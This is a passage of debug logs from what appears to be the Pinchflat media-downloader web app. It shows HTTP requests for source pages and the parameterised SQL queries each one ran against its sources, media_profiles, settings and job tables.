WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 04:53:44.039 [info] Sent 200 in 51ms 04:53:44.041 [info] Sent 200 in 55ms 04:53:44.114 [info] GET /sources/33/ 04:53:44.114 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 04:53:44.116 [debug] QUERY OK source="sources" db=0.6ms idle=88.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.117 [debug] QUERY OK source="media_profiles" db=0.5ms idle=87.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:44.118 [debug] QUERY OK source="tasks" db=0.5ms idle=87.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [33, "executing", "available", "scheduled", "retryable"] 04:53:44.119 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=85.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7274] 04:53:44.120 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=84.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.121 [debug] QUERY OK source="settings" db=0.2ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.124 [debug] QUERY OK source="settings" db=0.4ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.130 [debug] QUERY OK source="sources" db=0.5ms idle=11.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.133 [debug] QUERY OK source="media_items" db=1.9ms idle=11.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 04:53:44.136 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=13.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 04:53:44.138 [debug] QUERY OK source="sources" db=0.5ms idle=16.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.139 [debug] QUERY OK source="media_items" db=0.4ms idle=14.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 04:53:44.141 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=9.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 04:53:44.144 [debug] QUERY OK source="sources" db=0.5ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.147 [debug] QUERY OK source="media_items" db=1.9ms idle=8.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [33] 04:53:44.151 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=9.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 04:53:44.155 [info] Sent 200 in 41ms 04:53:44.193 [info] GET /sources/33/edit 04:53:44.194 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 04:53:44.194 [info] GET /sources/34 04:53:44.195 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 04:53:44.195 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=55.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 04:53:44.197 [debug] QUERY OK source="sources" db=1.2ms idle=54.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.198 [debug] QUERY OK source="media_profiles" db=1.6ms idle=51.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 04:53:44.198 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=50.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:44.199 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=47.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.200 [debug] QUERY OK source="settings" db=0.5ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.200 [debug] QUERY OK source="tasks" db=1.1ms queue=0.1ms idle=3.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [34, "executing", "available", "scheduled", "retryable"] 04:53:44.202 [debug] QUERY OK source="settings" db=0.8ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.202 [debug] QUERY OK source="oban_jobs" db=1.0ms idle=2.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7278] 04:53:44.203 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.204 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.206 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.210 [debug] QUERY OK source="sources" db=0.4ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.212 [info] Sent 200 in 19ms 04:53:44.213 [debug] QUERY OK source="media_items" db=1.9ms idle=9.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 04:53:44.217 [debug] QUERY OK source="media_items" db=3.3ms queue=0.2ms idle=10.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 04:53:44.219 [debug] QUERY OK source="sources" db=0.5ms idle=14.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.220 [debug] QUERY OK source="media_items" db=0.3ms idle=13.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [34] 04:53:44.221 [debug] QUERY OK source="media_items" db=1.2ms idle=9.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 04:53:44.224 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.226 [debug] QUERY OK source="media_items" db=1.9ms idle=7.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [34] 04:53:44.230 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=8.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [34, 10, 0] 04:53:44.235 [info] Sent 200 in 40ms 04:53:44.368 [info] GET /sources/34/ 04:53:44.368 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "34"} Pipelines: [:browser] 04:53:44.369 [debug] QUERY OK source="sources" db=0.7ms idle=148.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 04:53:44.370 [debug] QUERY OK source="media_profiles" db=0.4ms idle=148.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:44.372 [debug] QUERY OK source="tasks" db=0.5ms idle=147.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [34, "executing", "available", "scheduled", "retryable"] 04:53:44.373 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=145.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7278] 04:53:44.374 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=143.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.374 [debug] QUERY OK source="settings" db=0.3ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.376 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.2ms SELECT s0."id", 